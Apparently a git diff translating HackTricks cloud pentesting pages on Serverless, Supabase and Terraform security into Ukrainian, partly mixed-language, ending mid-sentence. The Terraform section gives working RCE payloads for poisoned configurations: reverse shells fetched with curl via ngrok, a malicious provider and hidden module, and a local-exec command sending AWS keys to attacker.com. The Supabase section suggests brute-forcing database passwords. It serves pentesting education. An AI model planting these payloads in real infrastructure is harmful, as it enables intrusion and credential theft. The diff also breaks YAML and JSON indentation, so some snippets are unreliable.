IAM ролі та дозволи** -Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation. +Занадто широкі IAM ролі можуть надати несанкціонований доступ до ресурсів хмари, що призводить до витоків даних або маніпуляцій з ресурсами. -When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like: +Коли для функції Lambda не вказані дозволи, буде створено роль з дозволами лише на генерацію журналів, наприклад:
-Minimum lambda permissions - +Мінімальні дозволи lambda ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Action": [ - "logs:CreateLogStream", - "logs:CreateLogGroup", - "logs:TagResource" - ], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" - ], - "Effect": "Allow" - }, - { - "Action": ["logs:PutLogEvents"], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" - ], - "Effect": "Allow" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Action": [ +"logs:CreateLogStream", +"logs:CreateLogGroup", +"logs:TagResource" +], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" +], +"Effect": "Allow" +}, +{ +"Action": ["logs:PutLogEvents"], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" +], +"Effect": "Allow" +} +] } ``` -
-#### **Mitigation Strategies** +#### **Стратегії пом'якшення** -- **Principle of Least Privilege:** Assign only necessary permissions to each function. - - ```yaml - provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} - ``` - -- **Use Separate Roles:** Differentiate roles based on function requirements. - ---- - -### **Insecure Secrets and Configuration Management** - -Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised. - -The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**! - -> [!CAUTION] -> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!** - -For example, the following example will use SSM to get an environment variable: +- **Принцип найменших привілеїв:** Призначайте лише необхідні дозволи для кожної функції. ```yaml provider: - environment: - DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` -And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**. +- **Використовуйте окремі ролі:** Розрізняйте ролі на основі вимог функцій. + +--- + +### **Небезпечні секрети та управління конфігурацією** + +Зберігання чутливої інформації (наприклад, API ключів, облікових даних бази даних) безпосередньо в **`serverless.yml`** або коді може призвести до витоку, якщо репозиторії будуть скомпрометовані. + +**Рекомендований** спосіб зберігання змінних середовища у файлі **`serverless.yml`** від serverless.com (на момент написання цього тексту) - це використання постачальників `ssm` або `s3`, які дозволяють отримувати **значення середовища з цих джерел під час розгортання** та **конфігурувати** змінні середовища **lambdas** з **текстом без значень**! + +> [!CAUTION] +> Тому будь-хто з дозволами на читання конфігурації lambdas в AWS зможе **отримати доступ до всіх цих змінних середовища у відкритому тексті!** + +Наприклад, наступний приклад використовуватиме SSM для отримання змінної середовища: +```yaml +provider: +environment: +DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +``` +And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **додано у відкритому тексті всередині змінної середовища lambda**. > [!TIP] -> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**. +> The recommended way to store environment variables using serveless.com would be to **зберігати його в AWS secret** and just store the secret name in the environment variable and the **код lambda повинен його зібрати**. #### **Mitigation Strategies** @@ -631,11 +585,11 @@ Outdated or insecure dependencies can introduce vulnerabilities, while improper - **Dependency Management:** Regularly update dependencies and scan for vulnerabilities. - ```yaml - plugins: - - serverless-webpack - - serverless-plugin-snyk - ``` +```yaml +plugins: +- serverless-webpack +- serverless-plugin-snyk +``` - **Input Validation:** Implement strict validation and sanitization of all inputs. - **Code Reviews:** Conduct thorough reviews to identify security flaws. @@ -651,10 +605,10 @@ Without proper logging and monitoring, malicious activities may go undetected, d - **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**. - ```yaml - plugins: - - serverless-plugin-datadog - ``` +```yaml +plugins: +- serverless-plugin-datadog +``` - **Enable Detailed Logging:** Capture essential information without exposing sensitive data. - **Set Up Alerts:** Configure alerts for suspicious activities or anomalies. @@ -670,42 +624,42 @@ Open or improperly secured APIs can be exploited for unauthorized access, Denial - **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - authorizer: aws_iam - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +authorizer: aws_iam +``` - **Rate Limiting and Throttling:** Prevent abuse by limiting request rates. - ```yaml - provider: - apiGateway: - throttle: - burstLimit: 200 - rateLimit: 100 - ``` +```yaml +provider: +apiGateway: +throttle: +burstLimit: 200 +rateLimit: 100 +``` - **Secure CORS Configuration:** Restrict allowed origins, methods, and headers. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - cors: - origin: https://yourdomain.com - headers: - - Content-Type - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +cors: +origin: https://yourdomain.com +headers: +- Content-Type +``` - **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns. @@ -721,14 +675,14 @@ Shared resources and inadequate isolation can lead to privilege escalations or u - **Resource Partitioning:** Use separate databases or storage buckets for different functions. - **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation. - ```yaml - provider: - vpc: - securityGroupIds: - - sg-xxxxxxxx - subnetIds: - - subnet-xxxxxx - ``` +```yaml +provider: +vpc: +securityGroupIds: +- sg-xxxxxxxx +subnetIds: +- subnet-xxxxxx +``` - **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required. @@ -742,15 +696,15 @@ Unencrypted data at rest or in transit can be exposed, leading to data breaches - **Encrypt Data at Rest:** Utilize cloud service encryption features. - ```yaml - resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - SSESpecification: - SSEEnabled: true - ``` +```yaml +resources: +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +SSESpecification: +SSEEnabled: true +``` - **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions. - **Secure API Communication:** Enforce encryption protocols and validate certificates. @@ -766,20 +720,20 @@ Detailed error messages can leak sensitive information about the infrastructure - **Generic Error Messages:** Avoid exposing internal details in error responses. - ```javascript - javascriptCopy code// Example in Node.js - exports.hello = async (event) => { - try { - // Function logic - } catch (error) { - console.error(error); - return { - statusCode: 500, - body: JSON.stringify({ message: 'Internal Server Error' }), - }; - } - }; - ``` +```javascript +javascriptCopy code// Example in Node.js +exports.hello = async (event) => { +try { +// Function logic +} catch (error) { +console.error(error); +return { +statusCode: 500, +body: JSON.stringify({ message: 'Internal Server Error' }), +}; +} +}; +``` - **Centralized Error Handling:** Manage and sanitize errors consistently across all functions. - **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users. @@ -839,24 +793,20 @@ Granting excessive permissions to team members and external collaborators can le **Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI. -- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI. -- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`. +- **License Keys:** Вони є унікальними ідентифікаторами, необхідними для аутентифікації доступу до Serverless Framework Version 4, що дозволяє входити через CLI. +- **Access Keys:** Облікові дані, які дозволяють CLI Serverless Framework аутентифікуватися з панеллю управління Serverless Framework. Коли ви входите за допомогою `serverless` cli, ключ доступу буде **згенеровано та збережено на ноутбуці**. Ви також можете встановити його як змінну середовища з назвою `SERVERLESS_ACCESS_KEY`. #### **Security Risks** 1. **Exposure Through Code Repositories:** - - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access. +- Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access. 2. **Insecure Storage:** - - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage. +- Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage. 3. **Improper Distribution:** - - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors. +- Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors. 4. **Lack of Rotation:** - - Not regularly rotating keys extends the exposure period if keys are compromised. +- Not regularly rotating keys extends the exposure period if keys are compromised. 5. **Excessive Permissions:** - - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources. +- Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 6fa6219f8..37f0bf9f3 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -4,47 +4,46 @@ ## Basic Information -As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings. +Згідно з їх [**ліндінгом**](https://supabase.com/): Supabase - це відкритий аналог Firebase. Розпочніть свій проект з бази даних Postgres, аутентифікації, миттєвих API, Edge Functions, підписок в реальному часі, зберігання та векторних вбудовувань. ### Subdomain -Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`** +В основному, коли проект створюється, користувач отримує піддомен supabase.co, наприклад: **`jnanozjdybtpqgcwhdiz.supabase.co`** ## **Database configuration** > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`** +> **Ці дані можна отримати за посиланням на `https://supabase.com/dashboard/project//settings/database`** -This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\ -The password is a **password the user put** previously. +Ця **база даних** буде розгорнута в певному регіоні AWS, і для підключення до неї можна використовувати: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (це було створено в us-west-1).\ +Пароль - це **пароль, який користувач ввів** раніше. -Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**. +Отже, оскільки піддомен є відомим і використовується як ім'я користувача, а регіони AWS обмежені, можливо, варто спробувати **брутфорсити пароль**. -This section also contains options to: +Цей розділ також містить опції для: -- Reset the database password -- Configure connection pooling -- Configure SSL: Reject plan-text connections (by default they are enabled) -- Configure Disk size -- Apply network restrictions and bans +- Скидання пароля бази даних +- Налаштування пулінгу з'єднань +- Налаштування SSL: Відхилити з'єднання в чистому тексті (за замовчуванням вони увімкнені) +- Налаштування розміру диска +- Застосування мережевих обмежень і заборон ## API Configuration > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`** +> **Ці дані можна отримати за посиланням на `https://supabase.com/dashboard/project//settings/api`** -The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`. +URL для доступу до API supabase у вашому проекті буде виглядати так: `https://jnanozjdybtpqgcwhdiz.supabase.co`. ### anon api keys -It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in +Він також згенерує **anon API key** (`role: "anon"`), наприклад: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, який застосування повинно використовувати для зв'язку з API, ключ якого був відкритий у нашому прикладі. -It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be: +Можна знайти API REST для зв'язку з цим API в [**документації**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), але найцікавіші кінцеві точки будуть:
Signup (/auth/v1/signup) - ``` POST /auth/v1/signup HTTP/2 Host: id.io.net @@ -69,13 +68,11 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-Login (/auth/v1/token?grant_type=password) - +Увійти (/auth/v1/token?grant_type=password) ``` POST /auth/v1/token?grant_type=password HTTP/2 Host: hypzbtgspjkludjcnjxl.supabase.co @@ -100,68 +97,63 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**. +Отже, коли ви виявите клієнта, який використовує supabase з піддоменом, який їм було надано (можливо, що піддомен компанії має CNAME на їх supabase піддомен), ви можете спробувати **створити новий обліковий запис на платформі, використовуючи supabase API**. -### secret / service_role api keys +### секретні / service_role API ключі -A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**. +Секретний API ключ також буде згенеровано з **`role: "service_role"`**. Цей API ключ повинен бути секретним, оскільки він зможе обійти **Row Level Security**. -The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` +API ключ виглядає так: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` ### JWT Secret -A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**. +**JWT Secret** також буде згенеровано, щоб додаток міг **створювати та підписувати користувацькі JWT токени**. -## Authentication +## Аутентифікація -### Signups +### Реєстрація > [!TIP] -> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints. +> За **замовчуванням** supabase дозволить **новим користувачам створювати облікові записи** у вашому проекті, використовуючи раніше згадані API кінцеві точки. -However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\ -This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those: +Однак ці нові облікові записи, за замовчуванням, **потрібно буде підтвердити свою електронну адресу**, щоб мати можливість увійти в обліковий запис. Можливо, активувати **"Дозволити анонімні входи"**, щоб дозволити людям входити без підтвердження своєї електронної адреси. Це може надати доступ до **неочікуваних даних** (вони отримують ролі `public` та `authenticated`).\ +Це дуже погана ідея, оскільки supabase стягує плату за активного користувача, тому люди можуть створювати користувачів і входити, і supabase стягне плату за них:
-### Passwords & sessions +### Паролі та сесії -It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\ -It's recommended to **improve the requirements as the default ones are weak**. +Можна вказати мінімальну довжину пароля (за замовчуванням), вимоги (немає за замовчуванням) та заборонити використання зламаних паролів.\ +Рекомендується **покращити вимоги, оскільки стандартні є слабкими**. -- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...) -- Bot and Abuse Protection: It's possible to enable Captcha. +- Сесії користувачів: Можна налаштувати, як працюють сесії користувачів (тайм-аути, 1 сесія на користувача...) +- Захист від ботів та зловживань: Можна активувати Captcha. -### SMTP Settings +### Налаштування SMTP -It's possible to set an SMTP to send emails. +Можна налаштувати SMTP для надсилання електронних листів. -### Advanced Settings +### Розширені налаштування -- Set expire time to access tokens (3600 by default) -- Set to detect and revoke potentially compromised refresh tokens and timeout -- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default) -- Max Direct Database Connections: Max number of connections used to auth (10 by default) -- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default) +- Встановити час закінчення терміну дії токенів доступу (3600 за замовчуванням) +- Встановити виявлення та відкликання потенційно скомпрометованих токенів оновлення та тайм-аут +- MFA: Вказати, скільки факторів MFA можна зареєструвати одночасно для кожного користувача (10 за замовчуванням) +- Максимальна кількість прямих з'єднань з базою даних: Максимальна кількість з'єднань, що використовуються для аутентифікації (10 за замовчуванням) +- Максимальна тривалість запиту: Максимальний час, дозволений для запиту аутентифікації (10 с за замовчуванням) -## Storage +## Сховище > [!TIP] -> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets). +> Supabase дозволяє **зберігати файли** та робити їх доступними через URL (використовує S3 контейнери). -- Set the upload file size limit (default is 50MB) -- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` -- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) +- Встановити обмеження на розмір файлу для завантаження (за замовчуванням 50 МБ) +- З'єднання S3 надається з URL, як: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` +- Можна **запросити S3 ключ доступу**, який складається з `access key ID` (наприклад, `a37d96544d82ba90057e0e06131d0a7b`) та `secret access key` (наприклад, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) ## Edge Functions -It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly). +Можна також **зберігати секрети** в supabase, які будуть **доступні через edge functions** (їх можна створювати та видаляти з вебу, але неможливо отримати їх значення безпосередньо). {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 09b875ff2..804661ad1 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -4,305 +4,275 @@ ## Basic Information -[From the docs:](https://developer.hashicorp.com/terraform/intro) +[З документації:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features. +HashiCorp Terraform — це **інструмент інфраструктури як коду**, який дозволяє вам визначати як **хмарні, так і локальні ресурси** у зрозумілих конфігураційних файлах, які ви можете версувати, повторно використовувати та ділитися. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислення, зберігання та мережеві ресурси, а також високорівневими компонентами, такими як DNS-записи та функції SaaS. -#### How does Terraform work? +#### Як працює Terraform? -Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API. +Terraform створює та управляє ресурсами на хмарних платформах та інших сервісах через їхні інтерфейси програмування додатків (API). Провайдери дозволяють Terraform працювати практично з будь-якою платформою або сервісом з доступним API. ![](<../images/image (177).png>) -HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more. +HashiCorp та спільнота Terraform вже написали **більше 1700 провайдерів** для управління тисячами різних типів ресурсів та сервісів, і ця кількість продовжує зростати. Ви можете знайти всі публічно доступні провайдери на [Terraform Registry](https://registry.terraform.io/), включаючи Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog та багато інших. -The core Terraform workflow consists of three stages: +Основний робочий процес Terraform складається з трьох етапів: -- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer. -- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration. -- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines. +- **Написати:** Ви визначаєте ресурси, які можуть бути на кількох хмарних провайдерах та сервісах. Наприклад, ви можете створити конфігурацію для розгортання програми на віртуальних машинах у мережі Virtual Private Cloud (VPC) з групами безпеки та балансувальником навантаження. +- **План:** Terraform створює план виконання, що описує інфраструктуру, яку він створить, оновить або знищить на основі існуючої інфраструктури та вашої конфігурації. +- **Застосувати:** Після затвердження Terraform виконує запропоновані операції в правильному порядку, враховуючи будь-які залежності ресурсів. Наприклад, якщо ви оновлюєте властивості VPC і змінюєте кількість віртуальних машин у цьому VPC, Terraform спочатку відтворить VPC, перш ніж масштабувати віртуальні машини. ![](<../images/image (215).png>) ### Terraform Lab -Just install terraform in your computer. +Просто встановіть terraform на вашому комп'ютері. -Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads). +Ось у вас є [посібник](https://learn.hashicorp.com/tutorials/terraform/install-cli), а ось у вас є [найкращий спосіб завантажити terraform](https://www.terraform.io/downloads). ## RCE in Terraform -Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**. +Terraform **не має платформи, що відкриває веб-сторінку або мережевий сервіс**, який ми можемо перерахувати, тому єдиний спосіб скомпрометувати terraform — це **мати можливість додавати/модифікувати конфігураційні файли terraform**. -However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly. +Однак terraform є **дуже чутливим компонентом** для компрометації, оскільки він матиме **привілейований доступ** до різних місць, щоб працювати належним чином. -The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**. +Основний спосіб для зловмисника скомпрометувати систему, на якій працює terraform, — це **скомпрометувати репозиторій, що зберігає конфігурації terraform**, оскільки в якийсь момент вони будуть **інтерпретовані**. -Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**: +Насправді існують рішення, які **автоматично виконують terraform plan/apply після створення PR**, такі як **Atlantis**: {{#ref}} atlantis-security.md {{#endref}} -If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`. +Якщо ви зможете скомпрометувати файл terraform, існують різні способи, якими ви можете виконати RCE, коли хтось виконує `terraform plan` або `terraform apply`. ### Terraform plan -Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`. +Terraform plan — це **найбільш використовувана команда** в terraform, і розробники/рішення, що використовують terraform, викликають її постійно, тому **найпростіший спосіб отримати RCE** — це переконатися, що ви отруїли конфігураційний файл terraform, який виконає довільні команди в `terraform plan`. -**Using an external provider** +**Використання зовнішнього провайдера** -Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`. - -Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`: +Terraform пропонує [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), який забезпечує спосіб взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних `external`, щоб виконати довільний код під час `plan`. +Впровадження в конфігураційний файл terraform чогось на зразок наступного виконає rev shell під час виконання `terraform plan`: ```javascript data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**Використання кастомного провайдера** -**Using a custom provider** - -An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): - +Зловмисник може надіслати [кастомний провайдер](https://learn.hashicorp.com/tutorials/terraform/provider-setup) до [Terraform Registry](https://registry.terraform.io/) і потім додати його до коду Terraform у функціональній гілці ([приклад звідси](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript - terraform { - required_providers { - evil = { - source = "evil/evil" - version = "1.0" - } - } - } +terraform { +required_providers { +evil = { +source = "evil/evil" +version = "1.0" +} +} +} provider "evil" {} ``` +Провайдер завантажується в `init` і запустить шкідливий код, коли буде виконано `plan` -The provider is downloaded in the `init` and will run the malicious code when `plan` is executed +Ви можете знайти приклад за посиланням [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +**Використання зовнішнього посилання** -**Using an external reference** - -Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +Обидва згадані варіанти корисні, але не дуже приховані (другий варіант більш прихований, але складніший за перший). Ви можете виконати цю атаку навіть **більш приховано**, дотримуючись цих порад: +- Замість того, щоб додавати rev shell безпосередньо в файл terraform, ви можете **завантажити зовнішній ресурс**, який містить rev shell: ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` +Ви можете знайти код rev shell за адресою [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- У зовнішньому ресурсі використовуйте функцію **ref**, щоб приховати **код terraform rev shell у гілці** всередині репозиторію, щось на зразок: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: - +Terraform apply буде виконано для застосування всіх змін, ви також можете зловживати цим, щоб отримати RCE, інжектуючи **зловмисний Terraform файл з** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Вам просто потрібно переконатися, що якийсь payload, подібний до наведених нижче, закінчує у файлі `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` +Слідуйте **рекомендаціям з попередньої техніки**, щоб виконати цю атаку **більш приховано, 